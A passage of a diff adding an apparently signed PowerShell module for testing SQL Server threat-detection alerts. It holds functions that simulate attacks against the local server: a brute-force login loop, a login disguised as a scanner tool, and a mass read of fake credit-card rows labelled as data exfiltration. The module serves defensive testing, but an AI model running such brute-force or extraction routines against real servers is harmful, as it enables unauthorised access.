"Server = $server; User ID=$UserName; Password=$i; Connect Timeout=5; application name=$applicationName" + $SqlConnection.Open(); + } + catch + { + if ($_.Exception.InnerException.Number -eq 18456) + { + LogInfo "Login failed, retrying.." + continue + } + else + { + LogError "Failed to test bruteforce. Error $($_.Exception.InnerException.Number)" + return + } + } + } + if ($Password -ne $null) + { + LogInfo "Login attempt on correct password to $server" + $Password.MakeReadOnly(); + try + { + $SqlConnection = New-Object System.Data.SqlClient.SqlConnection "Server = $server; Connect Timeout=5; application name=$applicationName" + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection.Credential = $sqlCredential; + $SqlConnection.Open(); + LogInfo "Login attempt on correct password succeeded" + } + catch + { + LogError "Failed to test succesful bruteforce. Error $($_.Exception.InnerException.Number)" + return + } + } + } + + LogOk "Successfully tested brute force on $server" +} + +Function Test-SqlAtpLoginSuspiciousApp( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$false)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates a Login by a suspicious application. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + .Parameter UserName + Provide the principal name to use in the connection. + .Parameter Password + Provide the password of the principal to use in the connection. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $remark = New-Guid + + $applicationName = 'NetSparker' + + if ($Password -ne $null) + { + $Password.MakeReadOnly(); + $connectionString = "Server = $server;application name=$applicationName"; + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + } + else + { + $connectionString = "Server = $server;User ID=$UserName;Password='';Connect Timeout=5;application name=$applicationName" + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + } + + try + { + $sqlConnection.Open(); + LogOk "Successfully simulated login from a suspicious app on $server" + } + catch + { + if ($_.Exception.InnerException.Number -eq 18456) + { + LogOk "Successfully simulated login from a suspicious app on $server." + } + else + { + LogError "Failed to simulate login from a suspicious app. Error $($_.Exception.InnerException.Number)" + } + } + finally + { + $sqlConnection.Dispose(); + } +} + +Function Test-DataExfiltration( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$false)] + [string]$UserName, + [Parameter(Mandatory=$false)] + [securestring]$Password) +{ + <# + .SYNOPSIS + Simulates an anomalous data exfiltration. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + .Parameter UserName + Supply a username to use for logging in using SQL Server authentication. If not supplied, use Windows authentication. + .Parameter Password + Supply a password to use for logging in using SQL Server authentication. If not supplied, use Windows authentication. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + try + { + $connectionString = "Server = $server; application name=data_exfiltration_59d9007ba9b54ade9f60ba8af55355ea;"; + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + + if (![String]::IsNullOrEmpty($UserName) -and ![String]::IsNullOrEmpty($Password)) + { + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection.Credential = $sqlCredential; + LogInfo "Trying to log in using SQL credentials, with user name: $UserName."; + } + else + { + $connectionString += " Integrated Security = true;" + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + LogInfo "Trying to log in using Windows authentication."; + } + + $SqlConnection.Open(); + + LogInfo "Initializing temporary table for test, this may take a few minutes..."; + + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "CREATE TABLE #Information + ( + name VARCHAR(50), + credit_card VARCHAR (50) + + )", $sqlConnection; + $sqlCommand.ExecuteNonQuery() | Out-Null; + + $tempGuid = New-Guid; + + for($i=1; $i -le 1500; $i++) + { + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "INSERT INTO #Information (name, credit_card) + VALUES ('James Jones the $i th', '$i --$tempGuid')", $sqlConnection; + $sqlCommand.ExecuteNonQuery() | Out-Null; + Start-Sleep -Milliseconds 1; + } + + LogInfo "Extracting data..."; + + for($i=1; $i -le 600; $i++) + { + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT TOP $i * FROM #Information --$tempGuid", $sqlConnection; + $sqlCommand.ExecuteNonQuery() | Out-Null; + } + + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT * FROM #Information --$tempGuid", $sqlConnection; + $sqlCommand.ExecuteNonQuery() | Out-Null; + } + catch + { + LogError "Failed to test data exfiltration. Error $($_.Exception.InnerException.Number)" + return + } + finally + { + $sqlConnection.Dispose(); + } + + LogOk "Successfully tested data exfiltration on $server" +} + +Function Test-SqlAtpPrincipalAnomaly( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$false)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates a Login by a principal that is considered an anomaly. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + .Parameter UserName + Provide the principal name to use in the connection. + .Parameter Password + Provide the password of the principal to use in the connection. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $applicationName = 'principal_anomaly_59d9007ba9b54ade9f60ba8af55355ea' + + $Password.MakeReadOnly(); + $connectionString = "Server = $server;application name=$applicationName"; + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + + try + { + $sqlConnection.Open(); + LogOk "Successfully simulated login on $server from a principal that will be considered an anomaly." + } + catch + { + LogError "Failed to simulate a principal anomaly login on $server." + } + finally + { + $sqlConnection.Dispose(); + } +} + +[Flags()] +enum EventLogLevel +{ + None = 0 + Alerts = 1 + Logins = 2 + Queries = 4 +} + +Function Set-SqlAtpEventLogLevel( + [Parameter(Mandatory)] + [ValidateNotNullOrEmpty()] + [EventLogLevel] $Level +) +{ + $item = New-ItemProperty "HKLM:\SOFTWARE\Microsoft\AzureOperationalInsights\" -Name "SqlQueryProtection_EventLogWriteStatus" -PropertyType "DWord" -Force -Value $Level + if ($item) + { + LogOk "Successfully set event log level" + } + else + { + LogError "To run this command, please use elevated prompt." + } +} + +Function Test-SqlAtpAgentStatus +{ + <# + .SYNOPSIS + Test the status of OMS Agent that it is installed, running and if there was a recent restart. + #> + + $timeWindowToCheckLogs = ([DateTimeOffset]::UtcNow - [TimeSpan]::FromHours(2)).LocalDateTime + $minimumAgentVersion = New-Object System.Version("10.20.18011.0") + + Test-OMSAgentInstalled + Test-OmsAgentRunning + Test-OmsAgentRestartedLately +} + +Function Test-SqlAtpInstancesStatus +{ + <# + .SYNOPSIS + Test the ATP status of SQL Instances running on the machine by examining Windows Event Log + #> + + $timeWindowToCheckLogs = ([DateTimeOffset]::UtcNow - [TimeSpan]::FromHours(2)).LocalDateTime + $result = Test-SqlInstancesThreatDetectionStatus + Write-Host + if($result -eq $false) + { + LogError "************************************************************** + **** Status tests Failed! **** + **** See error messages in log traces above **** + **************************************************************" + return + } + + LogOk "************************************************************** + **** All tests results passed **** + **** SQL Advanced Threat Protection installed and running **** + **************************************************************" +} + +# Exported functions +Export-ModuleMember -Function Get-SqlAtpManagementPackVersion +Export-ModuleMember -Function Get-SqlAtpMonitoringAgentAndWorkspaceId +Export-ModuleMember -Function Get-SqlAtpServerInstancesVersions +Export-ModuleMember -Function Start-SqlAtpEtwTracing +Export-ModuleMember -Function Stop-SqlAtpEtwTracing +Export-ModuleMember -Function Test-SqlAtpBruteForce +Export-ModuleMember -Function Test-DataExfiltration +Export-ModuleMember -Function Test-SqlAtpInjection +Export-ModuleMember -Function Test-SqlAtpShellObfuscation +Export-ModuleMember -Function Test-SqlAtpShellExternalSourceAnomaly +Export-ModuleMember -Function Test-SqlAtpLoginSuspiciousApp +Export-ModuleMember -Function Set-SqlAtpEventLogLevel +Export-ModuleMember -Function Test-SqlAtpAgentStatus +Export-ModuleMember -Function Test-SqlAtpInstancesStatus +Export-ModuleMember -Function Test-SqlAtpPrincipalAnomaly + +LogInfo "For a list of available commands in the module run: +Get-Command -Module SqlAdvancedThreatProtectionShell" +# SIG # Begin signature block +# MIInwgYJKoZIhvcNAQcCoIInszCCJ68CAQExDzANBglghkgBZQMEAgEFADB5Bgor +# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG +# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCIElDvNtsdWMgZ +# Ca96sfrvJweY5RW3++xaijbnx+V+iaCCDXYwggX0MIID3KADAgECAhMzAAADTrU8 +# esGEb+srAAAAAANOMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD +# VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy +# b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p +# bmcgUENBIDIwMTEwHhcNMjMwMzE2MTg0MzI5WhcNMjQwMzE0MTg0MzI5WjB0MQsw +# CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u +# ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy +# b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB +# AQDdCKiNI6IBFWuvJUmf6WdOJqZmIwYs5G7AJD5UbcL6tsC+EBPDbr36pFGo1bsU +# p53nRyFYnncoMg8FK0d8jLlw0lgexDDr7gicf2zOBFWqfv/nSLwzJFNP5W03DF/1 +# 1oZ12rSFqGlm+O46cRjTDFBpMRCZZGddZlRBjivby0eI1VgTD1TvAdfBYQe82fhm +# WQkYR/lWmAK+vW/1+bO7jHaxXTNCxLIBW07F8PBjUcwFxxyfbe2mHB4h1L4U0Ofa +# +HX/aREQ7SqYZz59sXM2ySOfvYyIjnqSO80NGBaz5DvzIG88J0+BNhOu2jl6Dfcq +# jYQs1H/PMSQIK6E7lXDXSpXzAgMBAAGjggFzMIIBbzAfBgNVHSUEGDAWBgorBgEE +# AYI3TAgBBggrBgEFBQcDAzAdBgNVHQ4EFgQUnMc7Zn/ukKBsBiWkwdNfsN5pdwAw +# RQYDVR0RBD4wPKQ6MDgxHjAcBgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEW +# MBQGA1UEBRMNMjMwMDEyKzUwMDUxNjAfBgNVHSMEGDAWgBRIbmTlUAXTgqoXNzci +# tW2oynUClTBUBgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vd3d3Lm1pY3Jvc29mdC5j +# b20vcGtpb3BzL2NybC9NaWNDb2RTaWdQQ0EyMDExXzIwMTEtMDctMDguY3JsMGEG +# CCsGAQUFBwEBBFUwUzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQu +# Y29tL3BraW9wcy9jZXJ0cy9NaWNDb2RTaWdQQ0EyMDExXzIwMTEtMDctMDguY3J0 +# MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggIBAD21v9pHoLdBSNlFAjmk +# mx4XxOZAPsVxxXbDyQv1+kGDe9XpgBnT1lXnx7JDpFMKBwAyIwdInmvhK9pGBa31 +# TyeL3p7R2s0L8SABPPRJHAEk4NHpBXxHjm4TKjezAbSqqbgsy10Y7KApy+9UrKa2 +# kGmsuASsk95PVm5vem7OmTs42vm0BJUU+JPQLg8Y/sdj3TtSfLYYZAaJwTAIgi7d +# hzn5hatLo7Dhz+4T+MrFd+6LUa2U3zr97QwzDthx+RP9/RZnur4inzSQsG5DCVIM +# pA1l2NWEA3KAca0tI2l6hQNYsaKL1kefdfHCrPxEry8onJjyGGv9YKoLv6AOO7Oh +# JEmbQlz/xksYG2N/JSOJ+QqYpGTEuYFYVWain7He6jgb41JbpOGKDdE/b+V2q/gX +# UgFe2gdwTpCDsvh8SMRoq1/BNXcr7iTAU38Vgr83iVtPYmFhZOVM0ULp/kKTVoir +# IpP2KCxT4OekOctt8grYnhJ16QMjmMv5o53hjNFXOxigkQWYzUO+6w50g0FAeFa8 +# 5ugCCB6lXEk21FFB1FdIHpjSQf+LP/W2OV/HfhC3uTPgKbRtXo83TZYEudooyZ/A +# Vu08sibZ3MkGOJORLERNwKm2G7oqdOv4Qj8Z0JrGgMzj46NFKAxkLSpE5oHQYP1H +# tPx1lPfD7iNSbJsP6LiUHXH1MIIHejCCBWKgAwIBAgIKYQ6Q0gAAAAAAAzANBgkq +# hkiG9w0BAQsFADCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24x +# EDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlv +# bjEyMDAGA1UEAxMpTWljcm9zb2Z0IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5 +# IDIwMTEwHhcNMTEwNzA4MjA1OTA5WhcNMjYwNzA4MjEwOTA5WjB+MQswCQYDVQQG +# EwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwG +# A1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSgwJgYDVQQDEx9NaWNyb3NvZnQg +# Q29kZSBTaWduaW5nIFBDQSAyMDExMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIIC +# CgKCAgEAq/D6chAcLq3YbqqCEE00uvK2WCGfQhsqa+laUKq4BjgaBEm6f8MMHt03 +# a8YS2AvwOMKZBrDIOdUBFDFC04kNeWSHfpRgJGyvnkmc6Whe0t+bU7IKLMOv2akr +# rnoJr9eWWcpgGgXpZnboMlImEi/nqwhQz7NEt13YxC4Ddato88tt8zpcoRb0Rrrg +# OGSsbmQ1eKagYw8t00CT+OPeBw3VXHmlSSnnDb6gE3e+lD3v++MrWhAfTVYoonpy +# 4BI6t0le2O3tQ5GD2Xuye4Yb2T6xjF3oiU+EGvKhL1nkkDstrjNYxbc+/jLTswM9 +# sbKvkjh+0p2ALPVOVpEhNSXDOW5kf1O6nA+tGSOEy/S6A4aN91/w0FK/jJSHvMAh +# dCVfGCi2zCcoOCWYOUo2z3yxkq4cI6epZuxhH2rhKEmdX4jiJV3TIUs+UsS1Vz8k +# A/DRelsv1SPjcF0PUUZ3s/gA4bysAoJf28AVs70b1FVL5zmhD+kjSbwYuER8ReTB +# w3J64HLnJN+/RpnF78IcV9uDjexNSTCnq47f7Fufr/zdsGbiwZeBe+3W7UvnSSmn +# Eyimp31ngOaKYnhfsi+E11ecXL93KCjx7W3DKI8sj0A3T8HhhUSJxAlMxdSlQy90 +# lfdu+HggWCwTXWCVmj5PM4TasIgX3p5O9JawvEagbJjS4NaIjAsCAwEAAaOCAe0w +# ggHpMBAGCSsGAQQBgjcVAQQDAgEAMB0GA1UdDgQWBBRIbmTlUAXTgqoXNzcitW2o +# ynUClTAZBgkrBgEEAYI3FAIEDB4KAFMAdQBiAEMAQTALBgNVHQ8EBAMCAYYwDwYD +# VR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBRyLToCMZBDuRQFTuHqp8cx0SOJNDBa +# BgNVHR8EUzBRME+gTaBLhklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL2Ny +# bC9wcm9kdWN0cy9NaWNSb29DZXJBdXQyMDExXzIwMTFfMDNfMjIuY3JsMF4GCCsG +# AQUFBwEBBFIwUDBOBggrBgEFBQcwAoZCaHR0cDovL3d3dy5taWNyb3NvZnQuY29t +# L3BraS9jZXJ0cy9NaWNSb29DZXJBdXQyMDExXzIwMTFfMDNfMjIuY3J0MIGfBgNV +# HSAEgZcwgZQwgZEGCSsGAQQBgjcuAzCBgzA/BggrBgEFBQcCARYzaHR0cDovL3d3 +# dy5taWNyb3NvZnQuY29tL3BraW9wcy9kb2NzL3ByaW1hcnljcHMuaHRtMEAGCCsG +# AQUFBwICMDQeMiAdAEwAZQBnAGEAbABfAHAAbwBsAGkAYwB5AF8AcwB0AGEAdABl +# AG0AZQBuAHQALiAdMA0GCSqGSIb3DQEBCwUAA4ICAQBn8oalmOBUeRou09h0ZyKb +# C5YR4WOSmUKWfdJ5DJDBZV8uLD74w3LRbYP+vj/oCso7v0epo/Np22O/IjWll11l +# hJB9i0ZQVdgMknzSGksc8zxCi1LQsP1r4z4HLimb5j0bpdS1HXeUOeLpZMlEPXh6 +# I/MTfaaQdION9MsmAkYqwooQu6SpBQyb7Wj6aC6VoCo/KmtYSWMfCWluWpiW5IP0 +# wI/zRive/DvQvTXvbiWu5a8n7dDd8w6vmSiXmE0OPQvyCInWH8MyGOLwxS3OW560 +# STkKxgrCxq2u5bLZ2xWIUUVYODJxJxp/sfQn+N4sOiBpmLJZiWhub6e3dMNABQam +# ASooPoI/E01mC8CzTfXhj38cbxV9Rad25UAqZaPDXVJihsMdYzaXht/a8/jyFqGa +# J+HNpZfQ7l1jQeNbB5yHPgZ3BtEGsXUfFL5hYbXw3MYbBL7fQccOKO7eZS/sl/ah +# XJbYANahRr1Z85elCUtIEJmAH9AAKcWxm6U/RXceNcbSoqKfenoi+kiVH6v7RyOA +# 9Z74v2u3S5fi63V4GuzqN5l5GEv/1rMjaHXmr/r8i+sLgOppO6/8MO0ETI7f33Vt +# Y5E90Z1WTk+/gFcioXgRMiF670EKsT/7qMykXcGhiJtXcVZOSEXAQsmbdlsKgEhr +# /Xmfwb1tbWrJUnMTDXpQzTGCGaIwghmeAgEBMIGVMH4xCzAJBgNVBAYTAlVTMRMw +# EQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVN +# aWNyb3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNp +# Z25pbmcgUENBIDIwMTECEzMAAANOtTx6wYRv6ysAAAAAA04wDQYJYIZIAWUDBAIB +# BQCgga4wGQYJKoZIhvcNAQkDMQwGCisGAQQBgjcCAQQwHAYKKwYBBAGCNwIBCzEO +# MAwGCisGAQQBgjcCARUwLwYJKoZIhvcNAQkEMSIEIHYUq/WUCqpN9OdYAHkLI7zR +# Ce+FAbN1+SQ+aBidNMCtMEIGCisGAQQBgjcCAQwxNDAyoBSAEgBNAGkAYwByAG8A +# cwBvAGYAdKEagBhodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20wDQYJKoZIhvcNAQEB +# BQAEggEAoDTmxHqPalcSDGZkiqZE+yMFHyXpbKZqgoLdG9DZn6kCtnP43ha3OEOp +# 30hcA7Yl2W5dAiZDC3sWhg5V4DhPF2Q2pGPg/gLjkvf5pRMdPerZqelWN08Og89m +# CzdW0xOGcNJEWedntzNbTcv3d+M11oguBOp9qXJxnaloIIJYM8oYi5V62f7w/W7S +# lOBEGQGTu+i/Kt3jbTqhAff8U+FwF+Ig6nCyzZw1sxBIybbPcfXVDBf1S9euXidb +# /PenJKjidZ868IwLprKGb3GAC9sgmgL/rWXDhDOnYMpGwcC+obt1Enh7isbt8KXm +# B19YaT8AxwcmfQnKWqZeehnZkLlLBqGCFywwghcoBgorBgEEAYI3AwMBMYIXGDCC +# FxQGCSqGSIb3DQEHAqCCFwUwghcBAgEDMQ8wDQYJYIZIAWUDBAIBBQAwggFZBgsq +# hkiG9w0BCRABBKCCAUgEggFEMIIBQAIBAQYKKwYBBAGEWQoDATAxMA0GCWCGSAFl +# AwQCAQUABCCVwY/Z16Rf2gcdjU7HDf8thtwu+TTBzYzqgLHfJ0G4jQIGZN5gHRzr +# GBMyMDIzMDkxODE1MzQ0Mi4xODFaMASAAgH0oIHYpIHVMIHSMQswCQYDVQQGEwJV +# UzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UE +# ChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMS0wKwYDVQQLEyRNaWNyb3NvZnQgSXJl +# bGFuZCBPcGVyYXRpb25zIExpbWl0ZWQxJjAkBgNVBAsTHVRoYWxlcyBUU1MgRVNO +# OjhENDEtNEJGNy1CM0I3MSUwIwYDVQQDExxNaWNyb3NvZnQgVGltZS1TdGFtcCBT +# ZXJ2aWNloIIRezCCBycwggUPoAMCAQICEzMAAAGz/iXOKRsbihwAAQAAAbMwDQYJ +# KoZIhvcNAQELBQAwfDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24x +# EDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlv +# bjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRpbWUtU3RhbXAgUENBIDIwMTAwHhcNMjIw +# OTIwMjAyMjAzWhcNMjMxMjE0MjAyMjAzWjCB0jELMAkGA1UEBhMCVVMxEzARBgNV +# BAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jv +# c29mdCBDb3Jwb3JhdGlvbjEtMCsGA1UECxMkTWljcm9zb2Z0IElyZWxhbmQgT3Bl +# cmF0aW9ucyBMaW1pdGVkMSYwJAYDVQQLEx1UaGFsZXMgVFNTIEVTTjo4RDQxLTRC +# RjctQjNCNzElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2VydmljZTCC +# AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALR8D7rmGICuLLBggrK9je3h +# JSpc9CTwbra/4Kb2eu5DZR6oCgFtCbigMuMcY31QlHr/3kuWhHJ05n4+t377PHon +# dDDbz/dU+q/NfXSKr1pwU2OLylY0sw531VZ1sWAdyD2EQCEzTdLD4KJbC6wmACon +# iJBAqvhDyXxJ0Nuvlk74rdVEvribsDZxzClWEa4v62ENj/HyiCUX3MZGnY/AhDya +# zfpchDWoP6cJgNCSXmHV9XsJgXJ4l+AYAgaqAvN8N+EpN+0TErCgFOfwZV21cg7v +# genOV48gmG/EMf0LvRAeirxPUu+jNB3JSFbW1WU8Z5xsLEoNle35icdET+G3wDNm +# cSXlQYs4t94IWR541+PsUTkq0kmdP4/1O4GD54ZsJ5eUnLaawXOxxT1fgbWb9VRg +# 1Z4aspWpuL5gFwHa8UNMRxsKffor6qrXVVQ1OdJOS1JlevhpZlssSCVDodMc30I3 +# fWezny6tNOofpfaPrtwJ0ukXcLD1yT+89u4uQB/rqUK6J7HpkNu0fR5M5xGtOch9 +# nyncO9alorxDfiEdb6zeqtCfcbo46u+/rfsslcGSuJFzlwENnU+vQ+JJ6jJRUrB+ +# mr51zWUMiWTLDVmhLd66//Da/YBjA0Bi0hcYuO/WctfWk/3x87ALbtqHAbk6i1cJ +# 8a2coieuj+9BASSjuXkBAgMBAAGjggFJMIIBRTAdBgNVHQ4EFgQU0BpdwlFnUgwY +# izhIIf9eBdyfw40wHwYDVR0jBBgwFoAUn6cVXQBeYl2D9OXSZacbUzUZ6XIwXwYD +# VR0fBFgwVjBUoFKgUIZOaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraW9wcy9j +# cmwvTWljcm9zb2Z0JTIwVGltZS1TdGFtcCUyMFBDQSUyMDIwMTAoMSkuY3JsMGwG +# CCsGAQUFBwEBBGAwXjBcBggrBgEFBQcwAoZQaHR0cDovL3d3dy5taWNyb3NvZnQu +# Y29tL3BraW9wcy9jZXJ0cy9NaWNyb3NvZnQlMjBUaW1lLVN0YW1wJTIwUENBJTIw +# MjAxMCgxKS5jcnQwDAYDVR0TAQH/BAIwADAWBgNVHSUBAf8EDDAKBggrBgEFBQcD +# CDAOBgNVHQ8BAf8EBAMCB4AwDQYJKoZIhvcNAQELBQADggIBAFqGuzfOsAm4wAJf +# ERmJgWW0tNLLPk6VYj53+hBmUICsqGgj9oXNNatgCq+jHt03EiTzVhxteKWOLoTM +# x39cCcUJgDOQIH+GjuyjYVVdOCa9Fx6lI690/OBZFlz2DDuLpUBuo//v3e4Kns41 +# 2mO3A6mDQkndxeJSsdBSbkKqccB7TC/muFOhzg39mfijGICc1kZziJE/6HdKCF8p +# 9+vs1yGUR5uzkIo+68q/n5kNt33hdaQ234VEh0wPSE+dCgpKRqfxgYsBT/5tXa3e +# 8TXyJlVoG9jwXBrKnSQb4+k19jHVB3wVUflnuANJRI9azWwqYFKDbZWkfQ8tpNoF +# fKKFRHbWomcodP1bVn7kKWUCTA8YG2RlTBtvrs3CqY3mADTJUig4ckN/MG6AIr8Q +# +ACmKBEm4OFpOcZMX0cxasopdgxM9aSdBusaJfZ3Itl3vC5C3RE97uURsVB2pvC+ +# CnjFtt/PkY71l9UTHzUCO++M4hSGSzkfu+yBhXMGeBZqLXl9cffgYPcnRFjQT97G +# b/bg4ssLIFuNJNNAJub+IvxhomRrtWuB4SN935oMfvG5cEeZ7eyYpBZ4DbkvN44Z +# vER0EHRakL2xb1rrsj7c8I+auEqYztUpDnuq6BxpBIUAlF3UDJ0SMG5xqW/9hLMW +# naJCvIerEWTFm64jthAi0BDMwnCwMIIHcTCCBVmgAwIBAgITMwAAABXF52ueAptJ +# mQAAAAAAFTANBgkqhkiG9w0BAQsFADCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgT +# Cldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29m +# dCBDb3Jwb3JhdGlvbjEyMDAGA1UEAxMpTWljcm9zb2Z0IFJvb3QgQ2VydGlmaWNh +# dGUgQXV0aG9yaXR5IDIwMTAwHhcNMjEwOTMwMTgyMjI1WhcNMzAwOTMwMTgzMjI1 +# WjB8MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH +# UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQD +# Ex1NaWNyb3NvZnQgVGltZS1TdGFtcCBQQ0EgMjAxMDCCAiIwDQYJKoZIhvcNAQEB +# BQADggIPADCCAgoCggIBAOThpkzntHIhC3miy9ckeb0O1YLT/e6cBwfSqWxOdcjK +# NVf2AX9sSuDivbk+F2Az/1xPx2b3lVNxWuJ+Slr+uDZnhUYjDLWNE893MsAQGOhg +# fWpSg0S3po5GawcU88V29YZQ3MFEyHFcUTE3oAo4bo3t1w/YJlN8OWECesSq/XJp +# rx2rrPY2vjUmZNqYO7oaezOtgFt+jBAcnVL+tuhiJdxqD89d9P6OU8/W7IVWTe/d +# vI2k45GPsjksUZzpcGkNyjYtcI4xyDUoveO0hyTD4MmPfrVUj9z6BVWYbWg7mka9 +# 7aSueik3rMvrg0XnRm7KMtXAhjBcTyziYrLNueKNiOSWrAFKu75xqRdbZ2De+JKR +# Hh09/SDPc31BmkZ1zcRfNN0Sidb9pSB9fvzZnkXftnIv231fgLrbqn427DZM9itu +# qBJR6L8FA6PRc6ZNN3SUHDSCD/AQ8rdHGO2n6Jl8P0zbr17C89XYcz1DTsEzOUyO +# ArxCaC4Q6oRRRuLRvWoYWmEBc8pnol7XKHYC4jMYctenIPDC+hIK12NvDMk2ZItb +# oKaDIV1fMHSRlJTYuVD5C4lh8zYGNRiER9vcG9H9stQcxWv2XFJRXRLbJbqvUAV6 +# bMURHXLvjflSxIUXk8A8FdsaN8cIFRg/eKtFtvUeh17aj54WcmnGrnu3tz5q4i6t +# AgMBAAGjggHdMIIB2TASBgkrBgEEAYI3FQEEBQIDAQABMCMGCSsGAQQBgjcVAgQW +# BBQqp1L+ZMSavoKRPEY1Kc8Q/y8E7jAdBgNVHQ4EFgQUn6cVXQBeYl2D9OXSZacb +# UzUZ6XIwXAYDVR0gBFUwUzBRBgwrBgEEAYI3TIN9AQEwQTA/BggrBgEFBQcCARYz +# aHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraW9wcy9Eb2NzL1JlcG9zaXRvcnku +# aHRtMBMGA1UdJQQMMAoGCCsGAQUFBwMIMBkGCSsGAQQBgjcUAgQMHgoAUwB1AGIA +# QwBBMAsGA1UdDwQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNX2 +# VsuP6KJcYmjRPZSQW9fOmhjEMFYGA1UdHwRPME0wS6BJoEeGRWh0dHA6Ly9jcmwu +# bWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY1Jvb0NlckF1dF8yMDEw +# LTA2LTIzLmNybDBaBggrBgEFBQcBAQROMEwwSgYIKwYBBQUHMAKGPmh0dHA6Ly93 +# d3cubWljcm9zb2Z0LmNvbS9wa2kvY2VydHMvTWljUm9vQ2VyQXV0XzIwMTAtMDYt +# MjMuY3J0MA0GCSqGSIb3DQEBCwUAA4ICAQCdVX38Kq3hLB9nATEkW+Geckv8qW/q +# 